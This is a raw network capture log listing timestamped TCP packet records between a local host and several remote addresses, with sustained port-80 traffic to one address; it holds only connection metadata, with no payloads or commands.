Nov 28, 2024 00:19:49.874300003 CET	49881	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.874317884 CET	443	49881	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.879498959 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.879538059 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.879611969 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.879796982 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:49.879808903 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:49.982106924 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.982254028 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.982306957 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.984844923 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.984862089 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.993354082 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.993428946 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.993486881 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.993501902 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.993586063 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:49.993633986 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.994354963 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:49.994369030 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.024254084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.024333000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.024630070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.024641991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.024682045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.024703026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.024866104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.024882078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.024923086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.025497913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.025561094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.025815010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.025865078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.026381969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.026401043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.026437998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.026457071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.027558088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.027570963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.027620077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.027659893 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.027679920 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.027688026 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.027729034 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.027740002 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.028048992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.028093100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.031824112 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.031863928 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.037120104 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.037156105 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.037201881 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.037223101 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.037242889 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.037285089 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.043342113 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.043381929 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.043878078 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.043900967 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.051599026 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.051623106 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.051630020 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.051688910 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.051697969 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.051716089 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.051738977 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.055958986 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.055975914 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.148345947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.148410082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.148597956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.148643017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.148694038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.148768902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.148775101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.148811102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.149211884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.149260998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.149297953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.149343967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.150080919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.150131941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.150346041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.150399923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.150887012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.150933981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.150985956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.151031017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.151695013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.151748896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.151945114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.151995897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.152487040 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.152581930 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.152618885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.152630091 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.152632952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.152659893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.152678967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.152815104 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.152836084 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.152853012 CET	49882	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.152858019 CET	443	49882	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.153379917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.153458118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.153491974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.153635979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.154215097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.154258966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.154361010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.154558897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.155040979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.155091047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.155435085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.155497074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.155860901 CET	49900	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.155875921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.155890942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.155891895 CET	443	49900	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.155934095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.155958891 CET	49900	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.156260014 CET	49900	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:50.156275034 CET	443	49900	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:50.168663025 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.168683052 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.168692112 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.168704987 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.168732882 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.168751955 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.168765068 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.168782949 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.168807030 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.223131895 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.223151922 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.223212957 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.223238945 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.223464966 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.231734037 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.231801033 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.234420061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.234494925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.234925985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.234977961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.272429943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.272489071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.272528887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.272574902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.272761106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.272806883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.272880077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.272927999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.272958040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.272995949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.273751020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.273801088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.273909092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.273972988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.274270058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.274318933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.274377108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.274431944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.275074005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.275115013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.275296926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.275450945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.275901079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.275947094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.276395082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.276441097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.276745081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.276757002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.276794910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.277560949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.277609110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.277648926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.277688026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.278408051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.278448105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.278641939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.278860092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.279197931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.279306889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.279376984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.279424906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.280035019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.280095100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.280200005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.280302048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.280873060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.280924082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.281013966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.281069994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.281673908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.281996965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.282046080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.282510042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.282562971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.282599926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.282639980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.283345938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.283404112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.283607960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.283653021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.284198999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.284245968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.284476042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.284517050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.285016060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.285176039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.285322905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.285371065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.285828114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.285892010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.285928011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.285984039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.286286116 CET	443	49892	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:50.286562920 CET	49892	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:50.286586046 CET	443	49892	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:50.286638975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.286789894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.286874056 CET	443	49892	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:50.286977053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.287026882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.287174940 CET	49892	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:50.287226915 CET	443	49892	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:50.287475109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.287542105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.287878036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.287926912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.288295031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.288345098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.288608074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.288662910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.289129972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.289189100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.289190054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.289227962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.289926052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.290072918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.341980934 CET	49892	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:50.343487024 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:50.344438076 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:50.344464064 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:50.344500065 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:50.344544888 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:50.344562054 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:50.371386051 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.371412039 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.371454000 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.371469975 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.371484041 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.384187937 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.384268045 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.384274006 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.384325981 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.384536982 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:50.384555101 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:50.407408953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.407433987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.407481909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.407702923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.407773972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.407816887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.408463955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.408549070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.408557892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.408586979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.409267902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.409336090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.409532070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.409584045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.410084009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.410258055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.410305977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.410916090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.410998106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.411108017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.411149025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.411731958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.411791086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.411911011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.411958933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.412585020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.412729979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.413026094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.413079977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.413393021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.413439035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.413523912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.413670063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.414226055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.414278030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.414719105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.414767981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.415065050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.415165901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.415260077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.415299892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.415894985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.415906906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.415966988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.416708946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.416807890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.416868925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.417553902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.417737961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.418036938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.418111086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.418406963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.418420076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.418463945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.419271946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.419284105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.419331074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.420001030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.420089960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.420249939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.420314074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.420835972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.421066046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.421135902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.421655893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.421729088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.421907902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.421957016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.422518969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.422530890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.422593117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.423302889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.423593044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.423716068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.423768044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.424139023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.424186945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.425020933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.425035954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.425091028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:50.425102949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.425126076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:50.425836086 CET	80	49794	185.215.113.206	192.168.2.6
